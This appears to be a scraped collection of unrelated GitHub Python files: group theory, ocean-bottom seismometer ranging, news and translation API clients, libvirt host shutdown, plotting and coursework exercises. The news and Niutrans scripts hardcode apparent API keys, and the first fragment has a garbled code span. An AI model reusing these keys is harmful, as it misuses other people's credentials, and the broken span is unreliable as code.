E_B of logarithms in base p of its orders. \n\tReturns empty lists if the (sub)group generated by S is trivial.\n\t\"\"\"\n\tt=len(S)\n\tS1=S.copy()\n\tB=[]\n\tE_B=[]#log_p(orders) of B\n\tE=[0]*t#log_p(orders) of S\n\tfor i in range(t):\n\t\tgi=S1[i]\n\t\twhile gi!=e:\n\t\t\tE[i]+=1\n\t\t\tgi=gi**p\n\tE_max=max(E)\n\n\t# Adding first element in B\n\tif E_max==0:\n\t\treturn B,E_B\n\telse:\n\t\ti0=E.index(E_max)\n\t\tB.append(S1[i0])\n\t\tE_B.append(E_max)\n\t\tdel S1[i0]\n\t\tdel E[i0]\n\t\tt=t-1\n\n\t# Main loop with orthogonalization process\n\twhile t>0:\n\t\tr=len(B)\n\t\tS_update=[]\n\t\tE_update=[]\n\t\tfor i in range(t):\n\t\t\tif E[i]>0:\n\t\t\t\tb_continue=True\n\t\t\t\te_i=0\n\t\t\t\tC=B.copy()\n\t\t\t\thi=S1[i]\n\t\t\t\twhile b_continue and e_i=e_i+1:\n\t\t\t\t\t\tri+=1\n\t\t\t\t\ttry:\n\t\t\t\t\t\tXi=DL_PH(e,C[0:ri],hi,p,ri)\n\t\t\t\t\t\tb_continue=False\n\t\t\t\t\texcept:\n\t\t\t\t\t\tC=[c**p for c in C]\n\t\t\t\t\t\thi=hi**p\n\t\t\t\t\t\te_i+=1\n\t\t\t\ts=S1[i]\n\t\t\t\tif e_i11} {} \\n'.format('Station:', R['sta']))\n fle.write(fmt1('Lat:', M(R['lat_sta']), deg+' '+pm, 2 * S(R['lat_sta'])))\n fle.write(fmt1('Lon:', M(R['lon_sta']), deg+' '+pm, 2 * S(R['lon_sta'])))\n fle.write(fmt1('X:', M(R['x_sta']), 'm '+pm, 2 * S(R['x_sta'])))\n fle.write(fmt1('Y:', M(R['y_sta']), 'm '+pm, 2 * S(R['y_sta'])))\n fle.write(fmt1('Depth:', M(R['z_sta']), 'm '+pm, 2 * S(R['z_sta'])))\n fle.write(fmt1('Water Vel.:', M(R['vpws']), 'm '+pm, 2 * S(R['vpws'])))\n fle.write(fmt1('Drift:', M(R['drifts']), 'm '+pm, 2 * S(R['drifts'])))\n fle.write(fmt1('Drift Az:', M(R['azs']), 'm '+pm, 2 * S(R['azs'])))\n fle.write(fmt1('dz:', M(R['dzs']), 'm '+pm, 2 * S(R['dzs'])))\n fle.write('\\n')\n fle.write(fmt1('RMS:', M(R['E_rms']*1000), 'ms '+pm, 2 * S(R['E_rms'])*1000))\n fle.write('\\n')\n fle.write('{} {} \\n'.format('Bad Pings Removed:', R['Nbad']))\n fle.write('{} {} \\n'.format('Doppler Correction:', ('YES' if twtcorr else 'NO')))\n fle.write('{} {} \\n'.format('Ray Bending Correction:', ('YES' if raycorr else 'NO')))\n fle.write('{} {} {} \\n'.format('GPS-Transponder Offset: dforward = ', dforward,' m'))\n fle.write('{} {} {} \\n'.format(' dstarboard = ', dstarboard,' m'))\n fle.write('{:=<80} \\n'.format(''))\n\n # .txt survey points.\n fle.write( c.format(\n 'Lat (' + deg + ')',\n 'Lon (' + deg +')',\n 'Range (m)',\n 'Resid (s)',\n 'Vr (m/s)',\n 'TWT corr. (ms)\\n' \n )\n )\n\n for i in range(len(R['svy_lats'])):\n fle.write(fmt2(\n i+1, \n R['svy_lats'][i], \n R['svy_lons'][i], \n dst(R['x_sta'][i],\n R['y_sta'][i],\n R['z_sta'][i],\n R['svy_xs'][i],\n R['svy_ys'][i],\n R['svy_zs'][i]),\n R['dtwts'][i] * 1000,\n R['vrs'][i],\n R['corrs'][i] * 1000))\n fle.close()\n","repo_name":"jbrussell/OBSrange","sub_path":"OBSrange_PYTHON/funcs/txt.py","file_name":"txt.py","file_ext":"py","file_size_in_byte":3207,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"7863060070","text":"import json\nimport requests\nfrom app.models import Source, News\n\napi_key = '6f7d710849704d7e900ffe692bd89900'\nbase_url ='https://newsapi.org/v2/top-headlines?q=news&apiKey={}'\nsources_url = 'https://newsapi.org/v2/top-headlines/sources?apiKey={}'\nlocal_url = 'https://newsapi.org/v2/everything?q=kenya&apiKey={}'\n\ndef configure_request(app):\n global api_key,base_url, sources_url, local_url, africa_url\n\ndef get_news():\n \"\"\"NEWS API Call\"\"\"\n url = base_url.format(api_key)\n response = requests.get(url).json()\n return response['articles']\n\ndef get_sources():\n \"\"\"SOURCES API Call\"\"\"\n url = sources_url.format(api_key)\n response = requests.get(url).json()\n return response['sources']\n\ndef get_local_news():\n \"\"\"SOURCES API Call\"\"\"\n url = local_url.format(api_key)\n response = requests.get(url).json()\n return response['articles']","repo_name":"wilowala/Realtime-News-App","sub_path":"app/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20210369888","text":"import os, psutil, requests\nfrom time import sleep\nfrom threading import Thread\nfrom libvirt_remote_manager._enums import PowerType, PowerMethod\nimport libvirt_remote_manager.utils as utils\n\n_pom_host = 'http://127.0.0.1:18965'\n\nclass HostPower():\n def __init__(self):\n pass\n\n def _check_systemctl(self) -> bool:\n if(os.path.exists('/usr/bin/systemctl') or os.path.exists('/bin/systemctl')):\n return True\n else:\n return False\n\n def _check_if_local(self) -> bool:\n if not os.getenv('SSH_CLIENT') and not os.getenv('SSH_CONNECTION'):\n return True\n else:\n return False\n\n def _have_tty(self) -> bool:\n try:\n os.getlogin()\n return True\n except:\n return False\n\n def _check_if_only_user_logged_in(self) -> bool:\n only = True\n current = psutil.Process(os.getpid()).username()\n #current = os.getlogin()\n users = psutil.users()\n\n for user in users:\n if user.name != current:\n only = False\n\n return only\n\n def _check_pom(self) -> bool:\n try:\n r = requests.get(_pom_host + '/api/host/pom/ping', timeout=3)\n \n if r.status_code == 200 and r.text == \"pong\":\n return True\n else:\n return False\n except:\n return False\n\n def _send_pom_shutdown(self) -> bool:\n try:\n r = requests.post(_pom_host + '/api/host/pom/shutdown')\n\n if r.status_code == 200:\n data = r.json()\n return data['status']\n except:\n return False\n\n def _send_pom_reboot(self) -> bool:\n try:\n r = requests.post(_pom_host + '/api/host/pom/reboot')\n\n if r.status_code == 200:\n data = r.json()\n return data['status']\n except:\n return False\n\n def host_shutdown(self) -> bool:\n ptype = PowerType.shutdown\n method: PowerMethod\n\n if utils.check_if_root():\n if self._check_systemctl():\n method = PowerMethod.systemd\n else:\n method = PowerMethod.classic\n\n ThreadedHostPower(ptype, method)\n return True\n else:\n if self._check_if_local() and self._check_if_only_user_logged_in() and self._have_tty():\n if self._check_systemctl():\n method = PowerMethod.systemd\n else:\n method = PowerMethod.classic\n\n ThreadedHostPower(ptype, method)\n return True\n else:\n if self._check_pom():\n return self._send_pom_shutdown()\n else:\n return False\n\n def host_reboot(self) -> bool:\n ptype = PowerType.reboot\n method: PowerMethod\n\n if utils.check_if_root():\n if self._check_systemctl():\n method = PowerMethod.systemd\n else:\n method = PowerMethod.classic\n\n ThreadedHostPower(ptype, method)\n return True\n else:\n if self._check_if_local() and self._check_if_only_user_logged_in() and self._have_tty():\n if self._check_systemctl():\n method = PowerMethod.systemd\n else:\n method = PowerMethod.classic\n\n ThreadedHostPower(ptype, method)\n return True\n else:\n if self._check_pom():\n return self._send_pom_reboot()\n else:\n return False\n\nclass ThreadedHostPower():\n _WAITTIME = 5\n\n def _shutdown_systemctl(self):\n os.system(\"systemctl poweroff\")\n\n def _shutdown_shutdown(self):\n os.system(\"shutdown -h now\")\n\n def _reboot_systemctl(self):\n os.system(\"systemctl reboot\")\n\n def _reboot_shutdown(self):\n os.system(\"shutdown -r now\")\n\n def _choose(self, ptype: PowerType, method: PowerMethod):\n sleep(self._WAITTIME)\n\n if ptype == PowerType.shutdown:\n if method == PowerMethod.classic:\n self._shutdown_shutdown()\n elif method == PowerMethod.systemd:\n self._shutdown_systemctl()\n elif ptype == PowerType.reboot:\n if method == PowerMethod.classic:\n self._reboot_shutdown()\n elif method == PowerMethod.systemd:\n self._reboot_systemctl()\n\n def __init__(self, ptype: PowerType, method: PowerMethod):\n self._t = Thread(target=self._choose, args=(ptype, method))\n self._t.start()\n","repo_name":"Xalageus/libvirt_remote_manager","sub_path":"libvirt_remote_manager/host_power.py","file_name":"host_power.py","file_ext":"py","file_size_in_byte":4717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37930677790","text":"import json\n\ndata_points = [\n { 'name': 'Temporary Accommodation Places', 'path': 'barinma.json' },\n { 'name': 'Safe Gathering Places', 'path': 'toplanma.json' },\n { 'name': 'Money Donation', 'path': 'en/bagis.json' },\n { 'name': 'Other Donation', 'path': 'yardim_toplama_merkezleri.json' },\n { 'name': 'Kızılay Blood Donation Places', 'path': 'blood.json' },\n]\n\nresult = {\n 'type': 'question',\n 'text': 'Please select a topic.',\n 'options': []\n}\n\nfor data_point in data_points:\n with open(f\"{data_point['path']}\", \"r\", encoding=\"utf-8\") as f:\n text = f.read().encode(\"utf-8\")\n\n data = json.loads(text)\n\n result['options'].append({\n 'name': data_point['name'],\n 'value': data,\n })\n\nprint(json.dumps(result, ensure_ascii=False))\n\n","repo_name":"mahmutgurbulak/afetbilgi.com","sub_path":"data/combine_en.py","file_name":"combine_en.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"7"} +{"seq_id":"27556905147","text":"# -*- coding: utf-8 -*-\n\nimport argparse\nimport os\nimport dill\n\nimport torch\nfrom torchtext import data\n\nfrom options import translate_opts\nfrom model import Seq2seqAttn\n\n\ndef load_field(path):\n with open(path, 'rb') as f:\n return dill.load(f)\n\n\ndef id2w(pred, field):\n sentence = [field.vocab.itos[i] for i in pred]\n if '' in sentence:\n return ' '.join(sentence[:sentence.index('')])\n return ' '.join(sentence)\n \n\ndef main(args):\n device = torch.device('cuda' if args.gpu else 'cpu')\n\n load_vars = torch.load(args.model)\n train_args = load_vars['train_args']\n model_params = load_vars['state_dict']\n\n dirname = os.path.dirname(args.model)\n SRC = load_field(os.path.join(dirname, 'src.field'))\n TGT = load_field(os.path.join(dirname, 'tgt.field'))\n fields = [('src', SRC), ('tgt', TGT)]\n\n with open(args.input, 'r') as f:\n examples = [data.Example.fromlist([line], [('src', SRC)]) for line in f]\n \n test_data = data.Dataset(examples, [('src', SRC)])\n test_iter = data.Iterator(test_data, batch_size=args.batch_size,\n train=False, shuffle=False, sort=False, device=device) \n \n model = Seq2seqAttn(train_args, fields, device).to(device)\n model.load_state_dict(model_params)\n\n model.eval()\n for samples in test_iter:\n preds = model(samples.src, tgts=None, maxlen=args.maxlen, tf_ratio=0.0)\n preds = preds.max(2)[1].transpose(1, 0)\n outs = [id2w(pred, TGT) for pred in preds]\n print('\\n'.join(outs))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n translate_opts(parser)\n args = parser.parse_args()\n main(args)\n","repo_name":"marumalo/pytorch-seq2seq","sub_path":"translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"7"} +{"seq_id":"22077915835","text":"from datetime import datetime, timedelta\n\ndef get_date(dat):\n add_date = 0\n date_over = False\n if dat == 'tomorrow':\n add_date = 1\n elif 'after' in dat:\n add_date = int(dat.split()[-1])\n if add_date > 4:\n date_over = True\n return_text = '4일 뒤까지의 날씨 정보만 가져올 수 있습니다. 원하시는 날짜를 확인 후 요청해 주세요.'\n return date_over, return_text\n\n date_get = (datetime.now() + timedelta(days=add_date)).strftime('%Y-%m-%d')\n return date_over, date_get\n\ndef get_tim(tim):\n form_time = datetime.now().hour\n if 'am' in tim or 'pm' in tim:\n form_time = convert_time(tim)\n if tim == 'midnight' or form_time < 3:\n set_time = 0\n elif tim == 'dawn' or form_time < 6:\n set_time = 3\n elif tim == 'dusk' or form_time < 9:\n set_time = 6\n elif tim == 'morning' or form_time < 12:\n set_time = 9\n elif tim == 'noon' or form_time < 15:\n set_time = 12\n elif tim == 'afternoon' or form_time < 18:\n set_time = 15\n elif tim == 'evening' or form_time < 21:\n set_time = 18\n elif tim == 'twilight' or form_time < 24:\n set_time = 21\n return f'{set_time:02d}:00:00'\n\ndef convert_time(time_str):\n int_time = datetime.now().hour\n if 'am' in time_str:\n hour = int(time_str.split(' ')[1])\n int_time = hour\n if hour == 12:\n int_time = 0\n elif 'pm' in time_str:\n hour = int(time_str.split(' ')[1])\n if hour != 12:\n hour += 12\n int_time = hour\n return int_time","repo_name":"koreanbulbasaur/Project","sub_path":"final_project/system/program/mode/weather/get_time.py","file_name":"get_time.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20158097809","text":"import numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\nimport math\n\nrow_1_plot = []\nrow_2_plot = []\n\ndef row_1(t):\n return 1-math.exp(t/20)\n\ndef row_2(t):\n return -1+math.exp(t/20)\n\n\n\n# time sequence points, 0 to 100\nt = np.linspace(0,100,101)\n\n# get values\nfor i in range(101):\n row_1_plot.append(row_1(i))\n row_2_plot.append(row_2(i))\n\n\n\n# plot results\nplt.plot(t,row_1_plot, color=\"red\", label='1-e^(t/20)')\nplt.plot(t, row_2_plot, color=\"blue\", label='-1+e^(t/20)')\n\n# legend for labels\nplt.legend()\n\n# labels\nplt.xlabel('t')\nplt.ylabel('x(t)')\nplt.show()\n","repo_name":"admeeer/admeeer_gcu","sub_path":"305/project_4/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43110770341","text":"import os\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.text import tokenizer_from_json\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\n\nbase = os.getcwd()\nmodel = tf.keras.models.load_model(base+\"\\\\model\\\\sarcasm_level.h5\")\nwith open(base+'\\\\tokenizers\\\\sarcasm_tokenizer.json', 'r', encoding='utf-8') as f:\n tokenizer_json = f.read()\ntokenizer = tokenizer_from_json(tokenizer_json)\n\nmax_length=16\n\ndef test_level_of_sarcasm(sentence):\n test_seq_pad = pad_sequences(tokenizer.texts_to_sequences([sentence]),maxlen=max_length, padding='post')\n predictions = model.predict(test_seq_pad, verbose=0)\n lvl = int(predictions[0][0]*100)\n return f\"Your thought is {lvl}% sarcastic\"\n\n\nprint(\"===========================================\\n\"*2, \"Judged according to bazzinga headline corpora\\n\", \"===========================================\\n\")\nwhile True:\n msg = input(\"What's in your mind?: \")\n if msg == 'exit': break\n resp = test_level_of_sarcasm(msg)\n print(resp, \"\\n\\n\")","repo_name":"eddiegulay/News-Headline-Sacarsm-Detection","sub_path":"sarcasm.py","file_name":"sarcasm.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"17073278436","text":"import requests\r\nfrom requests import exceptions\r\nimport multiprocessing\r\nfrom multiprocessing import Pool\r\nimport urllib.request\r\nimport gzip\r\nimport urllib.parse\r\nimport json\r\nimport time\r\nimport random\r\nimport hashlib\r\nimport sys\r\n\r\n#新建字典用于存放被打乱了顺序的原文和译文\r\nall_translation = {}\r\ndef translate(lines_content):\r\n\tglobal all_translation\r\n\t#print(lines)\r\n\t#print(all_lines[:5])\r\n\t#print(\"I:\", i)\r\n\t#num = 1\r\n\t#mynum = 0\r\n\tprint(lines_content)\r\n\tfor content in range(len(lines_content)):\r\n\t\t# print (\"A\")\r\n\t\tcontent = lines_content[content].strip()\r\n\t\t#print(content)\r\n\t\tapikey = '3aec701a3e5a5f0614df795eeffa67e8'\r\n\t\ttranslate_url = 'http://api.niutrans.vip/NiuTransServer/translation'\r\n\t\t#print (\"B\")\r\n\t\theaders = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1'}\r\n\t\t#print (\"C\")\r\n\t\tdata = {\r\n\t\t'src_text':content,\r\n\t\t'from':'zh',\r\n\t\t'to':'en', \r\n\t\t'apikey':apikey\r\n\t\t}\r\n\t\t#print (\"D\") \r\n\t\ttry:\r\n\t\t\t#print (\"E\")\t\t\t\t\t\r\n\t\t\tresponse = requests.post(url=translate_url, data=data, headers=headers).json()\r\n\t\t\t#print(response)\r\n\t\t\t#print (\"F\")\r\n\t\texcept Exception as e:\r\n\t\t\t#print (\"G\")\r\n\t\t\tprint(e)\t\t\t\t\r\n\t\telse:\r\n\t\t\t# print (\"H\")\r\n\t\t\tresult = response['tgt_text']\t\t\t\r\n\t\t\tall_translation[content] = result\r\n\r\n\t\t\t# print('L[%d]:%s'%(num,result))\r\n\t\t\t# num = num + 1\r\n\t\t\t# with open(sys.argv[2],'a',encoding='utf-8') as wfile:\r\n\t\t\t# \twfile.write(result + '\\n')\r\n\t\ttime.sleep(1)\r\n\t#all_translation = str(all_translation)\r\n\tfor key, value in all_translation.items():\r\n\t\twith open(sys.argv[2],'a',encoding='utf-8') as wfile:\r\n\t\t\twfile.write(key+'\\n')\r\n\t\twith open(sys.argv[3],'a',encoding='utf-8') as wfile:\r\n\t\t\tvalue = value.strip()\r\n\t\t\twfile.write(value+'\\n')\r\n\t#print(\"*****************************************************************************\",all_translation)\r\n\tprint(\"END\")\r\n\r\n\t\t\t\t\r\nif __name__== \"__main__\":\r\n\t# 读取原文文件\r\n\twith open(sys.argv[1],'r',encoding='utf-8') as rfile:\r\n\t\tlines = rfile.readlines()\r\n\t# print(\"LEN:\", len(lines))\r\n\r\n\t#根据将它分为5个进程,每个进程跑prviot句\r\n\tprint(len(lines))\r\n\tprviot = int(len(lines) / 5)\r\n\t# print(\"PR:\", prviot)\r\n\tprev = 0\r\n\r\n #用于存放每个进程要跑的东西\r\n\tall_lines = []\r\n\r\n\tfor i in range(1, 6):\r\n\t\tprint(\"开始行:\",prev* prviot)\r\n\t\tprint(\"结束行:\",i * prviot + 1)\r\n\t\t#print(lines[prev* prviot + 1:i * prviot])\r\n\r\n\t\t#说明一下lines[num1,num2]是指从第num1+1行,到第num2-1行\r\n\t\tall_lines.append(lines[prev* prviot:i * prviot])\r\n\t\t#print(type(lines[prev* prviot + 1:i * prviot]))\r\n\t\tprev = i\r\n\t\t#print(i)\r\n\t\t\r\n #新建五个进程\r\n\tfor i in range(5):\r\n\t\tp = multiprocessing.Process(target = translate, args = (all_lines[i],))\r\n\t\t#print(len(all_lines[i]))\r\n\t\tp.start()\r\n\t\tp.join()\r\n\r\n","repo_name":"github4n/Python_recorder","sub_path":"Python_test/xiaoniu/xiaoniu_tran_process.py","file_name":"xiaoniu_tran_process.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71543576544","text":"import csv\nimport os\nfrom contextlib import redirect_stdout #for writing to .txt file\nimport sys\n\n#read path\nbudget_read = \"PyBank/resources/budget_data.csv\"\n#write path\nbudget_write = \"PyBank/analysis/buget_output.txt\"\n\n#create the relevant variables\ndate = []\nprofit = []\nnet_total = 0\nprofit_change = []\nsum_change = 0\nprofit_dict = {}\n\n#read in the data\nwith open (budget_read, 'r') as f:\n budget = csv.reader(f, delimiter = \",\")\n\n#skip the header\n header = next(budget)\n\n#create date and profit lists, calculate net total\n\n for row in budget:\n date.append(row[0])\n profit.append(int(row[1]))\n net_total = net_total + int(row[1])\n profit_dict[row[0]] = row[1]\n\n#create a profit change list\n for i in range(len(profit) - 1):\n profit_change.append(profit[i+1] - profit[i])\n\n #calculate average change \n for i in range(len(profit_change)):\n sum_change = sum_change + profit_change[i]\n average_change = sum_change / len(profit_change)\n\n max(profit_change)\n date\n\n #print the results\n def print_output():\n print(\"Financial Analysis\")\n print(\"------------------------\")\n print(f\"Total Months: {len(date)}\")\n print(f\"Total: {net_total}\")\n print(f\"Average Change: ${average_change}\") \n print(f\"Greatest Increase in Profits: {date[profit_change.index(max(profit_change))+1]} {max(profit_change)}\")\n print(f\"Greatest Decrease in Profits: {date[profit_change.index(min(profit_change))+1]} {min(profit_change)}\")\n\n #print the output to terminal\n print_output()\n\n #print the results to text \n with open(budget_write, 'w') as f:\n with redirect_stdout(f):\n #code to print\n print_output()\n\n","repo_name":"christiebarron/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31723518782","text":"import time\n\n\ndef print_result(size):\n print('-' * 30)\n print(\"Size: {:8d}\".format(size))\n\n start = time.time()\n r = \"\"\n for i in range(size):\n r += str(i)\n end = time.time()\n print('1. {:.3f}'.format(end - start))\n\n start = time.time()\n r = []\n for i in range(size):\n r.append(str(i))\n \"\".join(r)\n end = time.time()\n print('2. {:.3f}'.format(end - start))\n\n start = time.time()\n r = \"\".join([str(i) for i in range(size)])\n end = time.time()\n print('3. {:.3f}'.format(end - start))\n\n start = time.time()\n r = \"\".join(str(i) for i in range(size))\n end = time.time()\n print('4. {:.3f}'.format(end - start))\n\n\nif __name__ == '__main__':\n size_list = [10000, 100000, 1000000, 10000000]\n for size in size_list:\n print_result(size)\n","repo_name":"stoneyangxu/python-kata","sub_path":"datastructure/practice/c5/c_5_21.py","file_name":"c_5_21.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39813274141","text":"def yes():\n print('Yes')\ndef no():\n print('No')\nimport sys\nimport itertools\nimport math as mt\nimport copy\nimport collections as col\nimport bisect\nsys.setrecursionlimit(10**6)\nn,k = list(map(int,input().split()))\ns = input()\nans_s =\"\"\nfor i in range(n):\n if s[i] == 'o':\n if k > 0:\n ans_s += 'o'\n k -= 1\n else:\n ans_s += 'x'\n else:\n ans_s += 'x'\n\nprint(ans_s)","repo_name":"shoooooou/atcoder","sub_path":"ABC/ABC290/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22160490773","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\nimport pandas as pd\nimport seaborn as sns\n\nbasedir_bayes = '.'\ncolorstr = \"\"\"*** Primary color:\n\n shade 0 = #A0457E = rgb(160, 69,126) = rgba(160, 69,126,1) = rgb0(0.627,0.271,0.494)\n shade 1 = #CD9CBB = rgb(205,156,187) = rgba(205,156,187,1) = rgb0(0.804,0.612,0.733)\n shade 2 = #BC74A1 = rgb(188,116,161) = rgba(188,116,161,1) = rgb0(0.737,0.455,0.631)\n shade 3 = #892665 = rgb(137, 38,101) = rgba(137, 38,101,1) = rgb0(0.537,0.149,0.396)\n shade 4 = #74104F = rgb(116, 16, 79) = rgba(116, 16, 79,1) = rgb0(0.455,0.063,0.31)\n\n*** Secondary color (1):\n\n shade 0 = #CDA459 = rgb(205,164, 89) = rgba(205,164, 89,1) = rgb0(0.804,0.643,0.349)\n shade 1 = #FFE9C2 = rgb(255,233,194) = rgba(255,233,194,1) = rgb0(1,0.914,0.761)\n shade 2 = #F1D195 = rgb(241,209,149) = rgba(241,209,149,1) = rgb0(0.945,0.82,0.584)\n shade 3 = #B08431 = rgb(176,132, 49) = rgba(176,132, 49,1) = rgb0(0.69,0.518,0.192)\n shade 4 = #956814 = rgb(149,104, 20) = rgba(149,104, 20,1) = rgb0(0.584,0.408,0.078)\n\n*** Secondary color (2):\n\n shade 0 = #425B89 = rgb( 66, 91,137) = rgba( 66, 91,137,1) = rgb0(0.259,0.357,0.537)\n shade 1 = #8C9AB3 = rgb(140,154,179) = rgba(140,154,179,1) = rgb0(0.549,0.604,0.702)\n shade 2 = #697DA0 = rgb(105,125,160) = rgba(105,125,160,1) = rgb0(0.412,0.49,0.627)\n shade 3 = #294475 = rgb( 41, 68,117) = rgba( 41, 68,117,1) = rgb0(0.161,0.267,0.459)\n shade 4 = #163163 = rgb( 22, 49, 99) = rgba( 22, 49, 99,1) = rgb0(0.086,0.192,0.388)\n\n*** Complement color:\n\n shade 0 = #A0C153 = rgb(160,193, 83) = rgba(160,193, 83,1) = rgb0(0.627,0.757,0.325)\n shade 1 = #E0F2B7 = rgb(224,242,183) = rgba(224,242,183,1) = rgb0(0.878,0.949,0.718)\n shade 2 = #C9E38C = rgb(201,227,140) = rgba(201,227,140,1) = rgb0(0.788,0.89,0.549)\n shade 3 = #82A62E = rgb(130,166, 46) = rgba(130,166, 46,1) = rgb0(0.51,0.651,0.18)\n shade 4 = #688C13 = rgb(104,140, 19) = rgba(104,140, 19,1) = rgb0(0.408,0.549,0.075)\"\"\"\n\ncolors = []\nshade = 0\nfor l in colorstr.replace(' ', '').split('\\n'):\n elem = l.split('=')\n if len(elem) != 5: continue\n if shade == 0:\n new_color = []\n rgb = lambda x, y, z: np.array([x, y, z]).astype(np.float32)\n \n new_color.append(eval(elem[2]))\n \n shade += 1\n if shade == 5:\n colors.append(np.array(new_color))\n shade = 0\ncolors = np.array(colors)/255.0\n\n\ndef make_plot(cleaned, version, t20=True):\n# +\n# %matplotlib inline\n plt.style.use('science')\n fig, axarr = plt.subplots(1, 1, figsize=(16/2,4/2), dpi=400, sharex=True)\n plt.subplots_adjust(hspace=0, wspace=0)\n ax = plt.gca()\n kwargs = dict(alpha=0.5,\n markersize=5/4)\n tmp = cleaned#.query('true > 4')\n tmp.loc[:, 'xgb'] = tmp.loc[:, 'true'] * np.array(tmp['true'] <= 4.0) + tmp.loc[:, 'xgb'] * np.array(tmp['true'] > 4.0)\n tmp2 = tmp.query('true > 4 & delta > 5')\n ax.fill_between(\n tmp2['delta'], tmp2['l'], tmp2['u'], color=colors[2, [3]], alpha=0.2)\n # ax.fill_between(\n # tmp2['delta'], tmp2['ll'], tmp2['uu'], color=colors[2, [3]], alpha=0.1)\n\n tmp.plot(\n 'delta', 'true', ax=ax,\n label='True', \n c='k'\n )\n if t20:\n tmp.plot(\n 'delta', 'xgb', ax=ax,\n label='Modified T20', \n c=colors[1, 3]\n )\n # tmp.plot(\n # 'delta', 'petit', ax=ax,\n # label='Petit+20, no tuning', \n# # style='o',\n# # ms=5./4*0.3,\n # c=colors[3, 3]\n # )\n tmp.plot(\n 'delta', 'petitf', ax=ax,\n label='Petit+20', \n# style='o',\n# ms=5./4*0.3, \n c=colors[0, 3]\n )\n tmp.plot(\n 'delta', 'median', ax=ax,\n label='Ours', \n# style='o',ms=5./4*0.3, color=colors[2, 3]\n c=colors[2, 3]\n )\n# xlim = ax.get_xlim()\n ax.plot([0, 14], [9, 9], '--k')\n ax.plot([0, 14], [4, 4], '--k')\n ax.annotate('Training range', (12, 4.5))\n# ax.set_xlim(*xlim)\n# # plt.plot()\n ax.set_xlim(1, 14)\n ax.set_ylim(0, 12)\n# ax.yaxis.set_major_formatter(ticker.FuncFormatter(lambda x, pos: r'$10^{%d}$'%(x,)))\n ax.set_xlabel(r'$\\Delta$')\n ax.set_ylabel(r'Instability Time')\n plt.legend(loc='upper left',\n frameon=True, fontsize=8)\n\n fig.savefig(basedir_bayes + '/' + f'comparison_v{version}' + '5planet.png')\n\n\n# -\n\n\n\n plt.style.use('default')\n sns.set_style('white')\n plt.rc('font', family='serif')\n\n for key in 'median petitf'.split(' '):\n px = tmp['true']\n py = tmp[key]\n\n\n from scipy.stats import gaussian_kde\n\n mask = (px > 4)\n px = np.clip(px, 4, 9)\n ppx = px[mask]\n py = np.clip(py, 4, 9)\n ppy = py[mask]\n # bw = 0.2\n\n fig = plt.figure(figsize=(4, 4), \n dpi=300,\n constrained_layout=True)\n\n g = sns.jointplot(x=ppx, y=ppy,\n alpha=1.0,# ax=ax,\n color=colors[2, 3],\n s=5,\n xlim=(3, 10),\n ylim=(3, 10),\n marginal_kws=dict(bins=15),\n )\n ax = g.ax_joint\n\n ax.plot([4, 9], [4, 9], color='k')\n\n ## Errorbars:\n # if key == 'median':\n # upper = tmp['u'] \n # lower = tmp['l']\n # upper = np.clip(upper[mask], 4, 9)\n # lower = np.clip(lower[mask], 4, 9)\n # upper = upper - ppy\n # lower = ppy - lower\n # plt.scatter\n\n # ax.errorbar(\n # ppx,\n # ppy,\n # yerr=[lower, upper],\n # fmt='o',\n # ecolor=list(colors[2, 3]) + [0.2],\n # ms=5,\n # color=colors[2, 3]\n # )\n # plt.colorbar(im)\n\n #Try doing something like this: https://seaborn.pydata.org/examples/kde_ridgeplot.html\n #Stack all contours on the same axis. Have horizontal lines to help compare residuals.\n\n title = 'Ours' if key == 'median' else 'Petit+20'\n ax.set_xlabel('Truth') \n ax.set_ylabel('Predicted')\n plt.suptitle(title, y=1.0)\n plt.tight_layout()\n plt.savefig(basedir_bayes + f'/comparison_v{version}_5planet_{key}.png', dpi=300)\n\n\n","repo_name":"MilesCranmer/bnn_chaos_model","sub_path":"figures/multiswag_5_planet_plot.py","file_name":"multiswag_5_planet_plot.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"7"} +{"seq_id":"72375848542","text":"#http://www.practicepython.org/exercise/2014/01/29/01-character-input.html\n\nimport time\n\nseguir = True\ntener = \"Tendrás\"\n\nwhile seguir:\n while True:\n try:\n edad = int(input(\"Cual es tu edad? \"))\n except:\n print (\"Introduce un número entero\")\n continue\n if (edad>100):\n print (\"Dudo que tengas más de 100 